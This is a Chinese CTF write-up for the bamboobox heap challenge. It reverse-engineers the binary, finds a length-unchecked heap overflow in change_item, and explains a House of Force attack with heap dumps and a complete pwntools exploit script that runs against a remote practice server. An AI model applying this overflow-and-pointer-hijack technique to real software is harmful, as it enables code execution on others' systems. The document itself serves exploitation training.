hitcontraining_bamboobox 堆技巧 House of Force

Posted luoleqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了hitcontraining_bamboobox 堆技巧 House of Force相关的知识,希望对你有一定的参考价值。

常规检查

技术图片

逆向分析

There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:

add 函数

__int64 add_item()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !qword_6020C8[2 * i] )
      {
        *(&itemlist + 4 * i) = v2;
        qword_6020C8[2 * i] = malloc(v2);
        printf("Please enter the name of item:");
        *(qword_6020C8[2 * i] + read(0, qword_6020C8[2 * i], v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}
  • (&itemlist + 4 i):存放 name 的大小
  • qword_6020C8[2 * i]:存放 chunk 的地址

show 函数

int show_item()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( qword_6020C8[2 * i] )
      printf("%d : %s", i, qword_6020C8[2 * i]);
  }
  return puts(byte_401089);
}

??打印对应块的 mem 内容。

change 函数

unsigned __int64 change_item()
{
  int v0; // ST08_4
  int v2; // [rsp+4h] [rbp-2Ch]
  char buf; // [rsp+10h] [rbp-20h]
  char nptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( qword_6020C8[2 * v2] )
    {
      printf("Please enter the length of item name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name of the item:", &nptr);
      *(qword_6020C8[2 * v2] + read(0, qword_6020C8[2 * v2], v0)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

??这里对输入的 size 没有做限制,所以我们只要输入的 size 比 add 时大,就会造成堆溢出。

remove 函数

unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( qword_6020C8[2 * v1] )
    {
      free(qword_6020C8[2 * v1]);
      qword_6020C8[2 * v1] = 0LL;
      *(&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

??chunk 指针和内容都被置 0 ,不存在利用漏洞。

magic 函数

id __noreturn magic()
{
  int fd; // ST0C_4
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}

??magic 函数可以打印出 flag 。

main 函数

      case 5:
        (v3[1])(&buf, &buf);
        exit(0);
        return;

??当我们选择 5 退出时,函数会调用一次 v3[1] ,这个地方之前被写入了 goodbye_message 的函数地址,所以我们只要想办法把这个 v3[1] 覆盖为 magic 函数就能 get flag。

利用思路

1.通过 House of Force 攻击,将将 top chunk 的地址移到记录 goobdye_message 的 chunk 0 的地址。
2.再次请求堆块,我们就能分配到 chunk 0 。
3.我们改写 goodbye_message 为 magic 的地址。
4.输入 5 触发 v3[1] 的调用,就能 get flag。

利用过程

add(0x30,'aaaa')

??此时内存 heap 如下

0x22db000 FASTBIN {    chunk 0 
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x400896 <hello_message>, 
  bk = 0x4008b1 <goodbye_message>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x41
}
0x22db020 FASTBIN {    chunk 1
  prev_size = 0x0, 
  size = 0x41, 
  fd = 0xa61616161, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x22db060 PREV_INUSE { top chunk
  prev_size = 0x0, 
  size = 0x20fa1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

??我们可以看到,top chunk 到 chunk 0 的偏移为 -0x60 ,使用 house of force 技巧,我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以只要减去 SIZE_SZ 和 MALLOC_ALIGN_MASK 大小即可得出需要 malloc 的大小,然后我们再次分配就能分配到 chunk 0 处。

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)

edit(0,0x41,payload)

offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8 -0xf

add(malloc_size,'aaaa')
add(0x10,p64(magic) * 2)

??我们可以看到,我们已经成功覆盖 goodbye_message 为 magic 的地址。

0x25b4000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x400d49 <magic>, 
  bk = 0x400d49 <magic>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x39
}
0x25b4020 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x39, 
  fd = 0x6161616161616161, 
  bk = 0x6161616161616161, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x25b4058 PREV_INUSE {
  prev_size = 0x6161616161616161, 
  size = 0x6161616161616161, 
  fd = 0xffffffffffffa1, 
  bk = 0xa, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

??最后使 v3[1] 触发就能 get flag 。

exp 脚本

from pwn_debug import *

context.log_level = 'debug'
pdbg = pwn_debug('bamboobox')
pdbg.local()
pdbg.remote('node3.buuoj.cn',29127)
r = pdbg.run('remote')

def add(length,name):
    r.recvuntil(":")
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)

def edit(idx,length,name):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def remove(idx):
    r.revcuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

def show():
    r.recvuntil(":")
    r.sendline("1")

magic = 0x400d49

add(0x30,'aaaa')
#gdb.attach(r)
payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)

edit(0,0x41,payload)

offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8 -0xf

add(malloc_size,'aaaa')
add(0x10,p64(magic) * 2)

#gdb.attach(r)

r.interactive()

成功 get flag

技术图片

内容来源

ctf-wiki house of force

以上是关于hitcontraining_bamboobox 堆技巧 House of Force的主要内容,如果未能解决你的问题,请参考以下文章